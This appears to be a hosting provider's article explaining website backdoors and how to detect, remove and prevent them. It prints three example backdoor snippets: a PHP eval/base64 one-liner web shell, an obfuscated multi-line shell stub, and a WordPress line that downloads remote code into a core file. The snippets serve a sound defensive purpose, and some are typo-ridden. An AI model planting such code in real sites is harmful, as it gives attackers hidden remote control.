DDoS Security Monitoring ⁃ Protection and Prevention With All Hosting Accounts
These are hidden entry points that offer unrestricted access to your website to anyone who knows how to use them. Codes which are deliberately planted on a website with an intention of further exploitation. Hackers love back doors because it allows them to control a website remotely, bypassing most security measures.
Did you find strange pages or files that you did not create? Did you find malware on your website or find it again even after a thorough cleanup? One symptom is multiple malware infections to your website. Do you see unauthorized activities from your websites accounts
Then you probably have a hidden backdoor on your business website.
Backdoors can cause severe damage to your website. And you are very likely to suffer some or all of the following consequences.
Legitimate or Developer’s Backdoor These are sometimes called a Maintenance Hook, Administrative Backdoor, or a Proprietary Backdoor. They are backdoors created on purpose by developers during the development process of the software, hardware, or website. The back door allows them a quick way to test features, remove bugs and write code without having to create an actual account or deal with repeated logging in.
Illegitimate or Hacker’s back door. Sometimes called a backdoor attack. The backdoor gives hackers access to elevated user privileges that allow them to infect systems and networks.
Backdoors can be present in computing hardware, software, or firmware. Backdoors have also been found in CPU's, Web Servers. In Operating Systems, applications, browsers. Websites, and databases.
As the name suggests, backdoors are malicious scripts hidden in files and folders of a website. The main purpose of backdoors is to remotely control the website by dodging the usual authentication processes. Most of the time, they can remain undetected even after a malware cleanup.
What makes these website back doors so dangerous is that they are designed with the purpose of staying hidden. Not only backdoors are known to disguise themselves as legitimate scripts which makes it even more difficult to detect, but there are many types of website backdoors.
Knowing about the different types can help in the search as you will have an idea of what to look for. Website backdoors are broadly classified into three categories:
Do not let the name deceive you. The name might be simple, but it is hardest to find. You can imagine how difficult it could be to find out a single line of text from thousands of lines of code.
Example of a "One Liner" backdoor.
##########################################
eval (base64_decode($_post[“php”]);
##########################################
The multi-liner backdoors are a group of malicious codes that are hidden in legitimate files. It is comparatively easier to detect multi-liner backdoors than one-liner backdoors, as they are sometimes easier to locate.
Example of a "Multi Liner" backdoor.
##########################################
$ auth_pass = "63a9f0eakeoi374mismw293";;
$ color = "#dg4";;
$ defualt_action = "SQL";;
$ defualt_charset = "Windows-1251";;
$ protectionoffer = "flcken";;
preg_replace("/.*/e","x65x78x51x7d.. (hundreds of more lines);
##########################################
There are certain backdoors that are specifically designed for CM'S like WordPress. For instance, PHP based CMSs are targeted by most of the attackers.
The below code is an example of such a CMS specific backdoor.
################################################################
@ file_put_contents (; ABSpath .;; '/wp-includes/class.wp.php';;
file_get_contents (;'; http://www.example.com/admin.text');;;
################################################################
One way to find backdoors is to use an online scanner such as the ones listed below.
The best way to remove a website backdoor is by comparing the infected files on your website to that of a Pre Infected Website backup.
These files are recognized by a numerical signature known as a checksum. It will help you in the verification of whether your files are infected. If a file has been altered or shows unexpected changes, it may indicate an infection, making this comparison a crucial step in securing your website.
If your website has recently been compromised and the modified files have not been removed, take immediate action to delete them. While it is possible to manually inspect the file contents for modifications and remove the altered sections, it is advisable to delete the entire file. This precaution is essential because backdoors can be cleverly concealed, and even a seemingly insignificant modification could serve as an entry point for attackers.
After the removal of backdoors, it’s essential to shift into prevention mode. Start by keeping all core software, extensions and themes fully up to date, remove any inactive plugins or themes, and enforce strong login protections like two-factor authentication and login rate limits. Add a web application firewall to stop unauthorized access attempts, and run regular scans for malware. or unexpected modifications to safeguard your site going forward.
Regular updates are your first line of defense against website backdoors. Outdated CMS platforms, plugins, themes, and scripts often contain security flaws that hackers exploit. By routinely applying updates, you close those vulnerabilities before attackers can use them. Always enable automatic updates when possible and monitor release notes to stay ahead of emerging security threats.
Inactive plugins and themes may seem harmless, but they can harbor vulnerabilities that hackers exploit as hidden backdoors. Removing anything not in use reduces potential attack points, streamlines your website, and improves performance. Regularly audit your plugins and themes, uninstall outdated or inactive themes, and only keep essential tools actively maintained to maintain strong security.
The login page is one of the most targeted entry points on any website. If compromised, a hacker can gain full control of your site. Protect it by enforcing strong passwords, enabling multifactor authentication, and limiting login attempts. Changing the default login URL and monitoring for suspicious activity adds an extra layer of security, keeping unauthorized users from gaining access.
Use a reliable firewall from a trusted source to build a wall between the incoming traffic and your website.
Implementing a trusted security firewall creates a strong barrier between your website and potentially harmful traffic. It monitors incoming requests, blocks malicious activity, and protects against hacking attempts, backdoors, and malware. A robust firewall acts as a first line of defense, ensuring that only legitimate visitors can access your site while keeping threats at bay.
There are thousands of malware scanning and Security plugins that you can use to scan your WordPress website for intrusions.
While removing backdoors is crucial, a proactive approach to website security is equally vital. Regular security audits and vulnerability assessments can preemptively identify potential backdoors before they are exploited. Employing a multi-layered security strategy, including regular backups, encrypted data storage, and user access controls, ensures that even if a backdoor is discovered, your data remains secure.
Additionally, educating your team on security best practices and the importance of recognizing phishing attempts can significantly reduce the risk of backdoor installations. By fostering a culture of security awareness and implementing robust preventive measures, you can safeguard your online presence from cyber-intruders more effectively.
Website backdoors are hidden gateways that leave your online presence exposed, but you don’t need to wait for a breach to act. By understanding how legitimate and illegitimate backdoors operate, detecting signs of infection early, and following clear removal and prevention steps, such as updating software, removing inactive themes and extensions, securing login pages, and installing a reliable firewall—you build a resilient defense.
Consistent vigilance and layered security will protect your site from unwanted intrusions and give you peace of mind.
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